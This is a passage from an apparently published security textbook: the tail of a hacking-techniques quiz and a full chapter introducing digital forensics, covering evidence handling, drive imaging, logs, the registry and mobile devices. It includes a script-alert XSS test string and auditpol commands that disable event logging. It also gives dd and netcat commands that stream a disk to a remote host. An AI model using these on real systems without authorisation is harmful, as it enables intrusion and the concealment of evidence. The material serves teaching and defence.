C. This command allows a hacker to determine the site's security.

D. This command returns the banner of the website specified by IP address.

2. If you send a SYN to an open port, what is the correct response?

A. SYN

B. ACK

C. FIN

D. SYN/ACK

3. You scan a target network and find port 445 is open and active. What does this tell you?

A. The system uses Linux.

B. The system uses Novell.

C. The system uses Windows.

D. The system has an IDS.

4. Julie has been hired to perform a penetration test on xyz.com. She begins by looking at IP address ranges owned by the company and details of domain name registration. She then goes to news groups and financial websites to see whether any of the company's sensitive information or technical

details are online. What is Julie doing?

- A.** Passive information gathering
- B.** Active information gathering
- C.** Attack phase
- D.** Vulnerability mapping

5. John has performed a scan of the web server with Nmap but did not gather enough information to accurately identify which operating system is running on the remote host. How could he use a web server to help in identifying the OS that is being used?

- A.** Telnet to an open port and grab the banner
- B.** Connect to the web server with an FTP client
- C.** Connect to the web server with a browser and look at the web page
- D.** Telnet to port 8080 on the web server and look at the default page code

6. You are carrying out the last round of testing for your new website before it goes live. The website has many subpages and connects to a SQL Server backend that accesses your product inventory in a database. You come across a web security site that recommends inputting the following code into a search field on web pages to check for

vulnerabilities:

[Click here to view code image](#)

```
<script>alert("Test My Site.")</script>
```

When you type this and click Search, you receive a pop-up window that says:

```
"Test My Site."
```

What is the result of this test?

- A.** Your website is vulnerable to web bugs.
 - B.** Your website is vulnerable to cross-site scripting.
 - C.** Your website is vulnerable to SQL injection.
 - D.** Your website is not vulnerable.
7. The tool OphCrack does what?
- A.** Retrieves Windows passwords
 - B.** Performs a rainbow table attack
 - C.** Brute-force attacks Windows
 - D.** Blanks out the password
8. Which of the following is the most reliable type of scan?

- A. Syn
- B. Passive
- C. Fin
- D. Connect

9. Trying to identify the machines on a target network is called _____.

- A. Enumeration
- B. Scanning
- C. Checking
- D. Assessing

EXERCISES

EXERCISE 15.1: OphCrack

Use OphCrack to crack the passwords on your own workstation.

EXERCISE 15.2: Bypassing the Password

Use a Linux Live CD to bypass the password on either your own computer or a lab computer.

Chapter 16

Introduction to Forensics

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Understand basic forensics principles.
- Make a forensic copy of a drive.
- Use basic forensics tools.

INTRODUCTION

Throughout this book we have explored network security. We have examined threats and countermeasures, firewalls, antivirus, IDS, cyber terrorism, policies, and more. However, your network security knowledge is incomplete without at least a basic understanding of computer forensics. The reason for this is simple: The first responders to computer crimes are usually the network administrators and tech support personnel. If you fail to handle the basic forensic containment of the crime scene appropriately, you might render any evidence found to be inadmissible.

However, remember that the steps outlined in this chapter are general guidelines. You should definitely consult whatever forensics standards are used in your jurisdiction. If you are not a law enforcement officer, you will still want to familiarize yourself with the procedures used by local law enforcement and to follow the same steps. If for some reason you cannot acquire the procedures used by your local law enforcement agency, then you can find federal guidelines. Here are some sources:

■ United States Secret Service:

<https://www.secretservice.gov/investigation/>

■ FBI Computer Forensics:

https://archives.fbi.gov/archives/news/stories/2009/august/rcfls_o81

Also keep in mind that a few jurisdictions have passed laws requiring that in order to extract the evidence the investigator must be either a law enforcement officer or a licensed private investigator. This law is controversial, given that private investigator training and licensing normally does not include computer forensics training. You should check with specifics in your state. However, many of those states will allow you to forensically examine a computer if you have the permission of the owner. So, this would not prohibit you from forensically examining computers in your company. However, forensics has become an integral part of response to network intrusions, so much so that the field is often called Digital Forensics Incident Response (DFIR).

GENERAL FORENSICS GUIDELINES

You should always follow some general guidelines in any forensic examination. You want to have as little impact on the evidence as possible, which means you want to examine it and not alter it. You want to have a clear document trail for everything that is done. Of course, you also want to secure your evidence.

EU Evidence Gathering

The Council of Europe Convention on Cybercrime, also called the Budapest Convention on Cybercrime or simply Budapest Convention, refers to electronic evidence as evidence that can be collected in electronic form of a criminal offence.

The Council of Europe's Electronic Evidence Guide is a basic guide for police officers, prosecutors, and judges.

The EU also has five principles that establish a basis for all dealings with electronic evidence:

- **Principle 1: Data Integrity:** You must ensure that the data is valid and has not been corrupted.
- **Principle 2: Audit Trail:** Similar to the concept of chain of custody, you must be able to fully account for the evidence. That includes its location as well as what was done with it.
- **Principle 3: Specialist Support:** As needed, utilize specialists. For example, if you are a skilled forensic examiner but have limited experience with a Macintosh computer, get a Mac specialist should you need to examine a Mac.
- **Principle 4: Appropriate Training:** All forensic examiners and analysts should be fully trained and always expanding their knowledge base.

- **Principle 5: Legality:** Make certain all evidence is collected and handled in a manner consistent with all applicable laws.

Even if you don't work within the European Union, these guidelines can be quite useful. Yes, they are rather broad, but they do provide guidance as to how to properly conduct a forensic examination.

Scientific Working Group on Digital Evidence

The Scientific Working Group on Digital Evidence, or SWGDE (www.swgde.org), creates a number of standards for digital forensics. According to *SWGDE Model Standard Operation Procedures for Computer Forensics*, there are four steps of examination:

STEP 1. Visual Inspection: The purpose of this inspection is just to verify the type of evidence, its condition, and relevant information to conduct the examination. This is often done in the initial evidence seizure. For example, if a computer is being seized, you would want to document whether the machine is running, what its condition is, and what the general environment is like.

STEP 2. Forensic Duplication: This is the process of duplicating the media before examination.

It is always preferred to work with a forensic copy and not the original.

STEP 3. Media Examination: This is the actual forensic testing of the application. By *media*, we mean hard drive, RAM, SIM card—some item that can contain digital data.

STEP 4. Evidence Return: Exhibit(s) are returned to the appropriate location—usually some locked or secured facility.

These particular steps provide an overview of how a cyber forensic examination should proceed. SWGDE has a number of useful documents on its website (www.swgde.org) that you should consult to delve deeper into the nuances of a proper cyber forensic examination.

U.S. Secret Service Forensics Guidelines

The U.S. Secret Service is another federal agency tasked with combating cyber crime and with computer forensics. It has a website devoted to computer forensics that includes forensics courses (www.ncfi.usss.gov/ncfi/). These courses are usually for law enforcement personnel.

The Secret Service also has released a guide for first responders to computer crime. It has listed its “golden

rules” to begin the investigation:

- Secure the scene and make it safe.
- If you reasonably believe that the computer is involved in the crime you are investigating, take immediate steps to preserve the evidence.
- Determine whether you have a legal basis to seize this computer (plain view, search warrant, consent, and so on).
- Avoid accessing computer files. If the computer is off, leave it off.
- If the computer is on, do not start searching through it. If the computer is on, go to the appropriate sections in this guide on how to properly shut down the computer and prepare it for transportation as evidence.
- If you reasonably believe that the computer is destroying evidence, immediately shut down the computer by pulling the power cord from the back of the computer.
- If a camera is available and the computer is on, take pictures of the computer screen. If the computer is off, take pictures of the computer, the location of the computer, and any electronic media attached.
- Determine whether special legal considerations

apply (doctor, attorney, clergy, psychiatrist, newspapers, publishers, and so on).

These are all important first steps to both preserving the chain of custody and ensuring the integrity of the investigation.

Don't Touch the Suspect Drive

The first, and perhaps most important guideline, is to touch the system as little as possible. You do not want to make changes to the system in the process of examining it. Let's look at one possible way to make a forensically valid copy of a drive. You can make a forensic copy with most major forensic tools such as AccessData's Forensic Toolkit (FTK), Guidance Software's EnCase, or PassMark Software's OSForensics. However, you can also do it with free tools using Linux.

You need two bootable copies of Linux: one on the suspect machine and one on the target machine. You may use any Linux distribution you are comfortable with. Whichever version of Linux you use, the steps will be the same:

1. Completely wipe the target drive:

```
dd if=/dev/zero of=/dev/hdb1 bs=2048
```

- < >
2. Set up the target forensics server to receive the copy of the suspected drive you want to examine. The `Netcat` command helps with that. The specific syntax is as follows:

```
nc -l -p 8888 > evidence.dd
```

< >

This tells the machine to listen on port 8888 and put whatever it receives into `evidence.dd`.

3. On the suspect machine, start sending the drive's information to the forensics server:

```
dd if=/dev/hda1 | nc 192.168.0.2 8888 -w 3
```

< >

Of course, this assumes that the suspect drive is `hda1`. If it's not, then replace that part of the command with the partition you are using. This also assumes the server has an IP address of `192.168.0.2`. If it's not, replace it with whatever your forensics server's IP address is.

4. You also want to create a hash of the suspect drive. Later you can hash the drive you have been working with and compare that to the hash of the original drive and confirm that nothing has been altered. You

can make a hash using Linux shell commands:

```
md5sum /dev/hda1 | nc 192.168.0.2 8888 -w 3
```

After completing the steps, you have a copy of the drive. Making two copies is often a good idea: one you will work with, and another will simply be stored. Under no circumstances should you do your forensic analysis on the suspect drive.

Leave a Document Trail

Beyond not touching the actual drive, the next concern is documentation. If you have never worked in any investigative capacity, the level of documentation might seem onerous to you. However, the rule is simple: *Document everything*.

When you first discover a computer crime, you must document exactly what events occurred. Who was present and what were they doing? What devices were attached to the computer, and what connections did it have over the network/Internet? What hardware and operating system were being used?

When you begin your actual forensic investigation, you must document every step. Start with documenting the process you use to make a forensic copy. Document

every tool you use and every test you perform. You must be able to show in your documentation everything that was done.

Secure the Evidence

First and foremost, the computer must be taken offline to prevent further tampering. In some limited circumstances a machine might be left online to trace down an active, ongoing attack, but the general rule is take it offline immediately.

The next step is to limit access to the machine. No one who does not absolutely need access to the evidence should have it. Hard drives should be locked in a safe or secure cabinet. Analysis should be done in a room with limited access.

You must also be able to document every person who had access to the evidence, how they interacted with it, and where the evidence was stored. There must be no period of time that you cannot account for the evidence. This is called *chain of custody*.

FBI FORENSICS GUIDELINES

Beyond the general guidelines just discussed, the FBI gives some specific guidelines. In most cases, they will overlap with the earlier discussion, but covering the FBI recommendations is still useful to do.

If an incident occurs, the FBI recommends that the first responder preserve the state of the computer at the time of the incident by making a backup copy of any logs, damaged or altered files, and, of course, any files left by the intruder. This last part is critical. Hackers frequently use various tools and might leave traces of their presence. Furthermore, the FBI warns that if the incident is in progress, activate any auditing or recording software you might have available. Collect as much data about the incident as you can. In other words, this might be a case where you do not take the machine offline, but rather analyze the attack in progress.

Another important step is to document the specific losses suffered due to the attack. Losses typically include the following:

- Labor cost spent in response and recovery.
(Multiply the number of participating staff by their hourly rates.)
- If equipment was damaged, the cost of that

equipment.

- If data was lost or stolen, what was the value of that data? How much did it cost to obtain that data and how much will it cost to reconstruct it?
- Any lost revenue, including losses due to downtime, having to give customers credit due to inconvenience, or any other way in which revenue was lost.

Documenting the exact damages due to the attack is just as important as documenting the attack itself.

The FBI computer forensic guidelines stress the importance of securing any evidence. The FBI also stresses that you should not limit your concept of *computer evidence* to PCs and laptops. Computer evidence can include the following:

- Logs (system, router, chat room, IDS, firewall, and so on)
- Portable storage devices (USB drives, external drives, and so on)
- E-mails
- Devices capable of storing data such as iPod, iPad, tablets
- Cell phones

The FBI guidelines also stress making a forensic copy of the suspect drive/partition to work with and creating a hash of that drive.

FINDING EVIDENCE ON THE PC

After you have secured the evidence and made a forensic copy, it is time to start looking for evidence. That evidence can come in many forms. First, remember that evidence is data that is relevant to the case. You might see lots of irrelevant information. Interesting data, in a forensic context, is data that provides insight into the facts of the case.

In the Browser

The browser can be a source of both direct evidence and circumstantial or supporting evidence. Obviously in cases of child pornography, the browser might contain direct evidence of the specific crime. You might also find direct evidence in the case of cyberstalking. However, if you suspect someone of creating a virus that infected a network, you would probably only find indirect evidence such as the person having searched virus creation/programming-related topics.

Even if the person erases his browsing history,

retrieving it is still possible. Windows stores a lot of information in a file called index.dat (information such as web addresses, search queries, and recently opened files). You can download a number of tools from the Internet that enable you to retrieve and review the index.dat file. Here are a few:

- www.eusing.com/Window_Washer/Index_dat.htm
- www.acesoft.net/index.dat%20viewer/index.dat_viewer.htm
- http://download.cnet.com/Index-dat-Analyzer/3000-2144_4-10564321.html

However, most forensics software will extract browser data for you. So, you should not need third-party utilities if you are using, for example, AccessData's FTK, Guidance Software's EnCase, or PassMark Software's OSForensics.

In System Logs

Regardless of what operating system you are using, the operating system has logs. Those logs can be critical in any forensic investigation and you should retrieve them.

Windows Logs

Let's start with Windows XP/Vista/7/8/8.1/10. With all of these versions of Windows, you find the logs by clicking on the Start button in the lower-left corner of the desktop and then clicking the Control Panel. You then click on Administrative Tools and double-click the Event Viewer. The following FYI outlines the logs you would check for. (Note that not all appear in every version of Windows.)

FYI: Logging

With all of these you have to turn the logging on; otherwise, there will be nothing in these logs.

- **Security log:** This is probably the most important log from a forensics point of view. It has both successful and unsuccessful login events.
- **Application log:** This log contains various events logged by applications or programs. Many applications record their errors in the application log.
- **System log:** This log contains events logged by Windows system components. This includes events such as driver failures. This particular log is not as interesting from a forensics perspective as the other logs are.

- **Forwarded Events log:** This log is used to store events collected from remote computers. This will only have data in it if event forwarding has been configured.
- **Applications and Services Logs:** This log is used to store events from a single application or component rather than events that might have systemwide impact.

Windows servers have similar logs. However, with Windows systems you have an additional possible concern. The possibility exists that the attacker cleared the logs before leaving the system. Tools are available that will allow one to wipe out a log, such as `auditpol.exe`. Using `auditpol \\ipaddress /disable` turns off logging. Then when the criminal exits he can use `auditpol \\ipaddress /enable` to turn it back on. Tools such as WinZapper also allow one to selectively remove certain items from event logs in Windows. Simply turning off logging before an attack and turning it back on afterward is also possible.

Linux Logs

Obviously, Linux also has logs you can check. Depending on your Linux distribution and what services you have running on it (such as MySQL), some of these logs might not be present on a particular machine:

- **/var/log/faillog:** This log file contains failed user logins. This can be very important when tracking attempts to crack into the system.
- **/var/log/kern.log:** This log file is used for messages from the operating system's kernel. This is not likely to be pertinent to most computer crime investigations.
- **/var/log/lpr.log:** This is the printer log and can give you a record of any items that have been printed from this machine. That can be useful in corporate espionage cases.
- **/var/log/mail.*:** This is the mail server log and can be very useful in any computer crime investigation. E-mails can be a component in any computer crime, and even in some noncomputer crimes such as fraud.
- **/var/log/mysql.*:** This log records activities related to the MySQL database server and will usually be of less interest to a computer crime

investigation.

- **/var/log/apache2/*:** If this machine is running the Apache web server, then this log will show related activity. This can be very useful in tracking attempts to hack into the web server.
- **/var/log/lighttpd/*:** If this machine is running the Lighttpd web server, then this log will show related activity. This can be very useful in tracking attempts to hack into the web server.
- **/var/log/apport.log:** This records application crashes. Sometimes these can reveal attempts to compromise the system or the presence of a virus or spyware.
- **/var/log/user.log:** These contain user activity logs and can be very important to a criminal investigation.

Recovering Deleted Files

Criminals frequently attempt to destroy evidence, and this is also true with computer crimes. The criminals might delete files. However, you can use a variety of tools to recover such files, particularly in Windows. DiskDigger (<https://diskdigger.org/>) is a free tool that can be used to recover Windows files. This tool is very easy to use. More robust tools are available, but the fact that this is free and easy to use makes it perfect for students learning forensics. And again, the major forensics software programs like OSForensics, FTK, and EnCase, have built-in deleted file recovery. Let's walk through DiskDigger's basic operation.

On its first screen, shown in [Figure 16-1](#), you simply select the drive/partition you want to recover files from.




FIGURE 16-1 Add a new scan

On the next screen you select the level of scan you want to do, as shown in [Figure 16-2](#). Obviously the deeper the scan the longer it can take.




FIGURE 16-2 Select depth of scan

You then get a list of the files that were recovered, as shown in [Figure 16-3](#).




FIGURE 16-3 Recovered files

You can see the file and the file header. You can also choose to recover the file if you want. The possibility exists that DiskDigger will only recover a file fragment, but that can be enough for forensics.

Operating System Utilities

A number of utilities are built into the operating system that can be useful in gathering some forensic data. Given that Windows is the most commonly used operating system, we will focus on those utilities that work from the Windows command line. However, one of the key requirements when conducting forensics work is to be very familiar with the target operating system. You should also note that many of these commands are most useful on a live running system to catch attacks in progress.

net sessions

The `net sessions` command lists any active sessions connected to the computer you run it on. This can be very important if you think an attack is live and ongoing. If there are no active sessions, the utility will report that, as shown in Figure 16-4.





FIGURE 16-4 net sessions

openfiles

`openfiles` is another command useful for finding live attacks ongoing. This command lists any shared files that are currently open. You can see this utility in [Figure 16-5](#).



```
Administrator: Command Prompt
C:\>net sessions
There are no entries in the list.

C:\>openfiles
INFO: The system global flag 'maintain objects list' needs
to be enabled to see local opened files.
See Openfiles /? for more information.


Files opened remotely via local share points:
-----
INFO: No shared open files found.

C:\>_
```

FIGURE 16-5 openfiles

fc

`fc` is a command you can use with a forensic copy of a machine. It compares two files and shows the differences. If you think a configuration file has been altered, you can compare it to a known good backup. You can see this utility in [Figure 16-6](#).

A screenshot of a Windows Command Prompt window titled "Administrator: Command Prompt". The window has a black background with white text. The command prompt shows the execution of the `fc testfile1.txt testfile2.txt` command. The output indicates that the files are being compared and shows the contents of both files, which are identical: "***** testfile1.txt", "***** TESTFILE2.TXT", and "this is a test". The prompt then returns to the `C:\>` state.

```
C:\>fc testfile1.txt testfile2.txt
Comparing files testfile1.txt and TESTFILE2.TXT
***** testfile1.txt
***** TESTFILE2.TXT
this is a test
*****

C:\>
```

FIGURE 16-6 The `fc` command

netstat

The `netstat` command is also used to detect ongoing attacks. It lists all current network connections, not just inbound, but outbound as well. You can see this utility in [Figure 16-7](#).




FIGURE 16-7 netstat

The Windows Registry

The Windows Registry is an incredible repository of potential valuable forensics information. It is the heart of the Windows machine. You can find a number of interesting pieces of data here. It is beyond the scope of this chapter to make you an expert in the Windows Registry, but it is hoped that you will continue on and learn more. One important thing you can find, from a forensics perspective, is any USB devices that have been connected to the machine.

The registry key
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet\Enum\USBSTOR

lists USB devices that have been connected to the machine. It is often the case that a criminal will move evidence to an external device and take it with him. This could indicate that there are devices you need to find and examine.

USB Information

There are other keys related to USBSTOR that provide related information. For example, `SYSTEM\MountedDevices` allows investigators to match the serial number to a given drive letter or volume that was mounted when the USB device was inserted. This information should be combined with the information from USBSTOR in order to get a more complete picture of USB-related activities.

The registry key `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2` will indicate what user was logged onto the system when the USB device was connected. This allows the investigator to associate a specific user with a particular USB device.

Wi-Fi

When an individual connects to a wireless network, the service set identifier (SSID) is logged as a preferred network connection. This information can be found in the Registry in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WZCSVC\Parameters\ key.

The registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\ gives you a list of all the Wi-Fi networks to which this network interface has connected. The SSID of the network is contained within the Description key. When the computer first connected to the network is recorded in the DateCreated field.

Uninstalled Software

This is a very important registry key for any forensic examination. An intruder who breaks into a computer might install software on that computer for various purposes such as recovering deleted files or creating a back door. He will then, most likely, delete the software he used. It is also possible that an employee who is stealing data might install steganography software so he can hide the data. He will subsequently uninstall that software. This key lets you see all the software that has been uninstalled from this machine: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.

GATHERING EVIDENCE FROM A CELL PHONE

In our modern times, cell phones are ubiquitous. As common as they are, it should be no surprise that cell phones might play a role in some computer crimes. As discussed in previous chapters, there are even some crimes that are primarily executed via cell phones. Sending pornographic images via cell phone is one such crime. Securing data from a suspect's cell phone in any criminal investigation is often a good idea. Some of the kinds of data that might be retrieved and examined during a cell phone forensic investigation include

- Photos
- Videos
- Text messages or SMS messages
- Call times, dialed and received calls, and call durations
- Contact names and phone numbers

Obviously photos, videos, and text messages could contain evidence of a crime. However, contact information can be valuable as well. You learned in the first few chapters of this book that criminals frequently work in concert. A contact list can help you track down other perpetrators.

Although dealing with the details of every model of cell phone is beyond the scope of this book, you should be aware of a few general forensics rules:

- Always document the cell phone make, model, and any details regarding its condition.
- Photograph the initial screen of the phone.
- The SIM card will be the location of most of what you need to find.

Many software packages are available for getting information from a SIM card. There are several phone forensic tools available. The most widely used are:

- Cellebrite: <https://www.cellebrite.com/en/home/>
- MOBILedit Forensic Express:
<http://www.mobiledit.com/forensic-express>
- BlackBag Technologies:
<https://www.blackbagtech.com/>
- Magnet Forensics:
<https://www.magnetforensics.com>
- Oxygen Forensics: <https://www.oxygen-forensic.com>

When selecting a tool, keep in mind that there are two methods for acquiring data from a phone or other mobile device: logical and physical. It is important to understand how these methods work and the differences between them, then make sure the tool you select supports the type of extraction you wish to perform.

Logical Acquisition

Logical imaging refers to copying the active file system from the device into another file. Using this method, the data from the actual device is recovered and can later be analyzed. Logical techniques are often the first type of examination forensic analysts will run because they are easier to execute. In many cases they will provide sufficient data for the case. But they won't be enough in all cases. Physical techniques can provide far more data. The reason examiners don't always use physical acquisition is that it is more difficult and takes considerably more time. Fortunately, many of the mobile forensics tools that support logical acquisitions will also provide a reporting mechanism.

In many cases, the tool will execute a logical acquisition of the device, and with this information, it will export commonly viewed files into a graphical user interface (GUI) or report. The problem with some of these tools is that the examiner can see the reported data, but cannot view the source of that data. It is preferable if an acquisition tool not only reports the data that was found but also allows the investigator to view the raw files from which it was derived. The overall steps involved in a logical image of a phone, regardless of the software or tool being used, include the following:

1. Run the forensic software of your choice.
2. Connect the device.
3. Begin acquiring an image. This will pull all data from the device that was explicitly backed up using Apple's synchronization protocol (if it is an iPhone). Similar files will be retrieved as from an acquisition of a backup, except that with this method, they are being pulled directly from the device.
4. Depending on the software being used, some or all of this information will be displayed within the software and can later be exported into a report.

Physical Acquisition

Physical imaging has been widely used in forensics for many years but is relatively new to the mobile device world. Unfortunately for forensic analysts, iPhone security mechanisms prevent us from being able to extract a physical image from a stock device without first gaining privileged access. A physical acquisition creates a physical bit-by-bit copy of the file system, similar to the way a hard drive would be forensically imaged. For this reason, it has the greatest potential to recover large amounts of data, including deleted files.

Chip-off and JTAG

The chip-off technique describes the practice of removing a memory chip, or any chip, from a circuit board and reading it: literally unsoldering it. This necessitates specialized equipment to read the chip.

The IEEE Joint Test Action Group (JTAG) method is a less extreme method but still requires some specialized equipment. Mobile devices that are implementing the BGA-style memory incorporate JTAG for test and debugging. That means the JTAG ports can be used to retrieve a physical image of the data without requiring the removal of the chip. Essentially you are taking advantage of communications directly with the chip that were designed for engineers testing the device. Cellebrite now supports JTAG and there are a variety of JTAG kits one can purchase.

Cellular Networks

In addition to understanding the cell phones themselves, it is necessary to understand the networks. All cell phone networks are based on radio towers. The strength of that radio signal is purposefully regulated to limit its range. Each cell tower base station consists of an antenna and radio equipment. Below is a brief description of the different types of networks.

GSM: Global System for Mobile Communications

This is an older technology, what is commonly called 2G. This is a standard developed by the European Telecommunications Standards Institute (ETSI). Originally GSM was developed just for digital voice, but was expanded to include data. GSM operates at many different frequencies, but the most common are 900 MHz and 1800 MHz. In Europe most 3G networks use the 2100 MHz frequency.

EDGE: Enhanced Data Rates for GSM Evolution

Many consider this an in-between level between 2G and 3G. It is technically considered pre-3G but was an improvement on GSM (2G). It was specifically designed to deliver media such as television over the cellular network.

UMTS: Universal Mobile Telecommunications System

This is 3G and is essentially an upgrade to GSM (2G). UMTS provides text, voice, video, and multimedia at data rates up to and possibly higher than 2 megabits per second (Mbps).

LTE: Long Term Evolution

LTE is what is commonly called 4G. LTE provides broadband internet, multimedia, and voice. LTE is based on the GSM/EDGE technology. It can, theoretically support speeds of 300 Mbps. Unlike GSM and GSM-based networks, LTE is based in IP, just like a typical computer network.

Cell Phone Terms

There are some basic devices and terminology you will need to know when working with cell phones. Some of these, such as SIM, are probably at least somewhat familiar to you.

Subscriber Identity Module (SIM)

This SIM is the heart of the phone. It is a circuit, usually a removable chip. The SIM is how you identify a phone. If you change the SIM in a phone, you change the phone's identity. The SIM stores the International Mobile Subscriber Identity (IMSI). The IMSI, which we will discuss in detail next, uniquely identifies a phone. So if you change the SIM, you effectively change the IMSI, and thus change the phone's identity. This SIM will also usually have network information, services the user has access to, and two passwords. Those passwords are the personal identification number (PIN) and the personal unblocking code (PUK). The PUK is a code used to reset a forgotten PIN. However, using the code wipes the phone and resets it to its factory state, thus destroying any forensic evidence. If the code is entered incorrectly ten times in a row, the device becomes permanently blocked and unrecoverable.

International Mobile Subscriber Identity (IMSI)

The IMSI is usually a 15-digit number but can be shorter in some cases (some countries use a shorter number). It is used to uniquely identify a phone. The first three digits are a mobile country code (MCC), and the next digits represent the mobile network code. In North America that is three digits, and in Europe it is two digits. The remaining digits are the mobile subscription identifier number (MSIN) that identifies the phone within a given network. To prevent tracking and cloning, the IMSI is only sent rarely. Instead a temporary value or TMSI is generated and sent.

ICCID: Integrated Circuit Card Identification

While the IMSI is used to identify the phone, the SIM chip itself is identified by the ICCID. The ICCID is engraved on the SIM during manufacturing, so it cannot be removed. The first seven digits identify the country and issuer, and are called the Issuer Identification Number (IIN). After that is a variable-length number that identifies this chip/SIM, then a check digit.

International Mobile Equipment Identity (IMEI)

This number is a unique identifier used to identify GSM, UMTS, LTE, and satellite phones. It is printed on the phone, often inside the battery compartment. You can display it on most phones by entering #06# on the dial pad. Using this number, a phone can be “blacklisted” or prevented from connecting to a network. This works even if the user changes the SIM card.

FORENSIC TOOLS TO USE

There are many forensic tools to choose from, but some are more widely used than others. In this section we will discuss tools that are widely used.

AccessData Forensic Toolkit

AccessData FTK is a very popular computer forensic tool. It is able to deliver analysis, decryption, and password cracking all within an intuitive, customizable, and user-friendly interface. Two very important features of this tool are its ability to analyze the Windows Registry and its ability to crack passwords. The Windows Registry is where Windows stores all information regarding any programs installed. This includes viruses, worms, Trojan horses, hidden programs, and spyware. The ability to effectively and efficiently scan the registry for evidence is critical. The ability to break passwords for common applications is important. Evidence might be stored in a password-protected Adobe PDF, Excel spreadsheet, or other application. FTK can crack passwords from more than 100 commonly used applications.

Another feature about this toolkit is its distributed processing ability. Scanning an entire hard drive, searching the registry, and doing a complete forensic analysis of a computer can be a very time-intensive task. With FTK that processing and analysis can be distributed on up to three computers. This lets all three computers process the analysis in tandem, thus significantly speeding up the forensics process.

FTK is also available for the Macintosh. Many commercial products are only available for Windows, and the open source community usually focuses on Unix and Linux, so the Macintosh compatibility is very important. In addition to that, FTK has an Explicit Image Detection add-on that automatically detects pornographic images, useful in cases involving allegations of child pornography. More information on FTK is available at <https://accessdata.com/products-services/forensic-toolkit-ftk>.

EnCase

EnCase from Guidance Software is a well-known, well-respected tool. Guidance Software has been in business for many years, and their tool is widely used by law enforcement. The tool is rather expensive, and can have a steep learning curve, but is very effective. You can find out more at <https://www.guidancesoftware.com/>.

The Sleuth Kit

The Sleuth Kit (TSK) is a collection of command-line tools that are available as a free download. You can get them from this site, <http://www.sleuthkit.org/sleuthkit/>, as well as others. This toolset is not as feature rich nor as easy to use as EnCase, but can be a good option for a budget-conscious agency. The most obvious of the utilities included is `ffind.exe`.

There are options to search for a given file or to search for only deleted versions of a file. This particular utility is best used when you know the specific file you are searching for. It is not a good option for a general search. A number of utilities are available in The Sleuth Kit; however, many readers might find using command-line utilities to be cumbersome. Fortunately, a GUI has been created for The Sleuth Kit named Autopsy: <http://www.sleuthkit.org/autopsy/>.

OSForensics

OSForensics is a very robust and easy to use tool, and is also affordable. You can even download a free trial from <https://www.osforensics.com/>. Many forensic tools don't give you a free trial, and many cost thousands of dollars. This tool has a 30-day free trial, and the full version is under \$1000 USD. More importantly it is very easy to use, and they have free videos on their website to help you, as well as an online course. The course is not free, but is very affordable and includes OSForensics certifications.

FORENSIC SCIENCE

Regardless of what tool you use, or why you are doing forensics (incidence response, criminal investigation, etc.) it is important to understand that forensics is a science, and must be conducted as such. The scientific method starts with formulating a hypothesis. That hypothesis is a question that can be tested. Non-testable questions have no place in science. Once you have performed the test, you have a fact. Once you have performed many tests, you will have many facts. The explanation for all of those facts is a theory. This is very different from the colloquial use of the word theory, which often denotes a guess.

In digital forensics each test establishes some fact. Let's assume you are investigating a network virus outbreak. One test might show a virus was downloaded to a specific workstation at a specific time. That is a fact. But you cannot yet develop a theory. You cannot decide this was something intentional on the part of that employee, part of some nefarious plot by foreign hackers, or any other sort of attack. You just don't have enough facts yet. You will need to conduct many more tests, and accumulate more data. When you have a sufficient body of data, now you can form a theory of the incident.

One legal principle that is key to doing forensics in a scientifically sound manner, and is all too often overlooked in forensic books, is the Daubert standard. The Legal Information Institute at Cornell University Law School defines the Daubert standard as follows:

Standard used by a trial judge to make a preliminary assessment of whether an expert's scientific testimony is based on reasoning or methodology that is scientifically valid and can properly be applied to the facts at issue. Under this standard, the factors that may be considered in determining whether the methodology is valid are: (1) whether the theory or technique in question can be and has been tested; (2) whether it has been subjected to peer review and

publication; (3) its known or potential error rate; (4) the existence and maintenance of standards controlling its operation; and (5) whether it has attracted widespread acceptance within a relevant scientific community.

What this means, in layman's terms, is that any scientific evidence presented in a trial has to have been reviewed and tested by the relevant scientific community. For a computer forensic investigator, that means that any tools, techniques, or processes you utilize in your investigation should be ones that are widely accepted in the computer forensics community. You cannot simply make up new tests or procedures.

TO CERTIFY OR NOT TO CERTIFY?

Certifications are a controversial topic in IT in general, and specifically in security. Some people will tell you that certifications are completely useless, whereas others will tell you that they are the most important things to look for. I think the controversy stems from misunderstanding what certifications are, and this leads to these extreme views. First, understand that a certification, in and of itself, does not make you an expert. A certification indicates you have demonstrated at least a minimum level of competence according to some set of criteria. If you understand that, then you can accept that a certification can be useful in determining if someone has a minimal skillset, but it cannot determine that person is an expert. In forensics, it is always possible that your investigation will lead to some court proceedings. These can be civil or even criminal. I have personally been involved in multiple cases that began as a simple internal incident investigation and became civil litigation and even criminal trials. With that in mind, having a certification or two will help show the court that you actually know forensics. The following list provides a general view of several major certifications in computer forensics:

■ **Computer Hacking Forensic Investigator**

(CHFI): This certification from the EC-Council tests general forensic knowledge; it is not specific to a particular tool. For more information about this certification, go to <https://www.eccouncil.org/programs/computer-hacking-forensic-investigator-chfi/>.

■ **Certified Forensic Computer Examiner**

(CFCE): This certification is from the International Association of Computer Investigative Specialists (IACIS). It is also a general knowledge test rather than a specific tool test. See <https://www.iacis.com/2016/02/23/cfce/> for details.

- **SANS certifications:** The SANS Institute has a number of forensics certifications, including GIAC Certified Forensic Analyst (GCFA), GIAC Certified Forensic Examiner (GCFE), and others. The SANS Institute certifications are very well-respected in the industry, but they are also the single most expensive classes and certifications in all of IT. Check out <https://www.giac.org/certifications/digital-forensics> for an overview of the various forensics certifications that are available.

- **Tool certifications:** The preceding certifications are all general forensic knowledge. If you intend to

use a specific tool, it is worthwhile to be certified in that tool. All the major tool products (OSForensics, FTK, EnCase, Cellebrite, etc.) have certifications in their tool.

SUMMARY

This chapter covered the basics of computer forensics. The most important things you have learned are to first make a forensic copy to work with, and second, to document everything. You simply cannot overdocument an incident. You have also learned how to retrieve browser information and recover deleted files, as well as some commands that might be useful forensically. Finally, you learned the forensics value of the Windows Registry.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. In a computer forensic investigation, what describes the route that evidence takes from the time you find it until the case is closed or goes to court?
 - A. Rules of evidence

- B.** Law of probability
- C.** Chain of custody
- D.** Policy of separation

2. Where does Linux store e-mail server logs?

- A.** /var/log/mail.*
- B.** /etc/log/mail.*
